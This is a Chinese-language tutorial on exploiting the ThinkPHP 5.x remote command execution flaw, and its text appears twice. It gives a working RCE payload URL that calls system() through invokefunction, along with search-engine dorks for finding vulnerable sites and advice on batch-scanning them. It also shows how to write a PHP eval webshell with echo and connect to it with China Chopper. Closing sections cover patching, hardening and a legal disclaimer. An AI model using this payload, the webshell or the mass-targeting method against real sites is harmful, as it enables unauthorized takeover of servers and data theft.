通过Thinkphp框架漏洞所发现的安全问题
字数 1178 2025-08-18 11:38:28

ThinkPHP框架远程命令执行漏洞分析与利用教学

漏洞概述

ThinkPHP框架在2018年12月9日发布了一个重要的安全更新,修复了一个严重的远程命令执行漏洞。该漏洞影响版本包括:

  • ThinkPHP 5.0 (< 5.0.23)
  • ThinkPHP 5.1 (< 5.1.31)

漏洞本质是框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可能实现远程代码执行。

漏洞特征识别

  1. 版本识别方法

    • 在目标网站URL后输入不存在的路径(如/11/11.php)
    • 观察错误页面是否泄露框架版本信息
    • 典型特征包含"十年磨一剑 - 为API开发设计的高性能框架"等字样
  2. 搜索引擎识别

    • Google搜索:thinkphp十年磨一剑 inurl:index.php
    • 钟馗之眼等搜索引擎:"十年磨一剑 - 为API开发设计的高性能框架 [ V5.0+版本由+七牛云+独家赞助发布+]"

漏洞利用步骤

1. 验证漏洞存在

使用以下payload验证漏洞:

http://target.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2. 执行系统命令

  • 替换whoami为其他系统命令,如:
    • id - 查看当前用户
    • ls -la - 列出目录内容
    • uname -a - 查看系统信息

3. 权限检查

执行whoamiid命令确认当前用户权限:

  • 如果是root/administrator权限,可直接控制系统
  • 普通权限需要考虑提权方法

4. 上传Webshell

通过命令执行上传一句话木马:

echo '<?php eval($_POST["cmd"]);?>' > shell.php

然后使用中国菜刀等工具连接webshell。

批量发现方法

  1. 搜索引擎法

    • 使用Google、钟馗之眼等搜索ThinkPHP特征
    • 筛选可能存在漏洞的版本
  2. 自动化扫描

    • 编写脚本自动检测ThinkPHP版本
    • 对符合版本范围的站点尝试payload

漏洞分析

漏洞原理

漏洞源于框架路由机制缺陷:

  1. 未开启强制路由时,控制器名未充分过滤
  2. 攻击者可构造特殊路由调用危险函数
  3. 通过call_user_func_array实现任意函数调用

攻击链

index.php?s=index/think\app/invokefunction
→ 调用invokefunction控制器
→ 通过function参数指定call_user_func_array
→ vars参数传递system函数和命令参数
→ 实现系统命令执行

防御建议

  1. 立即措施

    • 升级到安全版本(5.0.23+/5.1.31+)
    • 开启强制路由配置
  2. 长期防护

    • 禁用错误信息泄露(关闭debug模式)
    • 配置WAF拦截可疑请求
    • 定期安全审计和更新
  3. 安全配置

    • 限制PHP危险函数(system, exec等)
    • 设置文件上传目录不可执行
    • 使用最小权限原则运行Web服务

法律与道德声明

  1. 此漏洞仅限授权测试使用
  2. 未经授权测试属于违法行为
  3. 发现漏洞应及时报告厂商
  4. 严禁利用漏洞进行非法操作

总结

ThinkPHP远程命令执行漏洞因其利用简单、影响广泛而备受关注。安全人员应掌握其原理和防御方法,网站管理员应及时修复漏洞,而攻击者需注意法律边界。框架类漏洞往往影响广泛,一次修复可保护大量站点,体现了框架安全更新的重要性。

ThinkPHP框架远程命令执行漏洞分析与利用教学 漏洞概述 ThinkPHP框架在2018年12月9日发布了一个重要的安全更新,修复了一个严重的远程命令执行漏洞。该漏洞影响版本包括: ThinkPHP 5.0 ( < 5.0.23) ThinkPHP 5.1 ( < 5.1.31) 漏洞本质是框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可能实现远程代码执行。 漏洞特征识别 版本识别方法 : 在目标网站URL后输入不存在的路径(如 /11 或 /11.php ) 观察错误页面是否泄露框架版本信息 典型特征包含"十年磨一剑 - 为API开发设计的高性能框架"等字样 搜索引擎识别 : Google搜索: thinkphp十年磨一剑 inurl:index.php 钟馗之眼等搜索引擎: "十年磨一剑 - 为API开发设计的高性能框架 [ V5.0+版本由+七牛云+独家赞助发布+]" 漏洞利用步骤 1. 验证漏洞存在 使用以下payload验证漏洞: 2. 执行系统命令 替换 whoami 为其他系统命令,如: id - 查看当前用户 ls -la - 列出目录内容 uname -a - 查看系统信息 3. 权限检查 执行 whoami 或 id 命令确认当前用户权限: 如果是root/administrator权限,可直接控制系统 普通权限需要考虑提权方法 4. 上传Webshell 通过命令执行上传一句话木马: 然后使用中国菜刀等工具连接webshell。 批量发现方法 搜索引擎法 : 使用Google、钟馗之眼等搜索ThinkPHP特征 筛选可能存在漏洞的版本 自动化扫描 : 编写脚本自动检测ThinkPHP版本 对符合版本范围的站点尝试payload 漏洞分析 漏洞原理 漏洞源于框架路由机制缺陷: 未开启强制路由时,控制器名未充分过滤 攻击者可构造特殊路由调用危险函数 通过 call_user_func_array 实现任意函数调用 攻击链 防御建议 立即措施 : 升级到安全版本(5.0.23+/5.1.31+) 开启强制路由配置 长期防护 : 禁用错误信息泄露(关闭debug模式) 配置WAF拦截可疑请求 定期安全审计和更新 安全配置 : 限制PHP危险函数(system, exec等) 设置文件上传目录不可执行 使用最小权限原则运行Web服务 法律与道德声明 此漏洞仅限授权测试使用 未经授权测试属于违法行为 发现漏洞应及时报告厂商 严禁利用漏洞进行非法操作 总结 ThinkPHP远程命令执行漏洞因其利用简单、影响广泛而备受关注。安全人员应掌握其原理和防御方法,网站管理员应及时修复漏洞,而攻击者需注意法律边界。框架类漏洞往往影响广泛,一次修复可保护大量站点,体现了框架安全更新的重要性。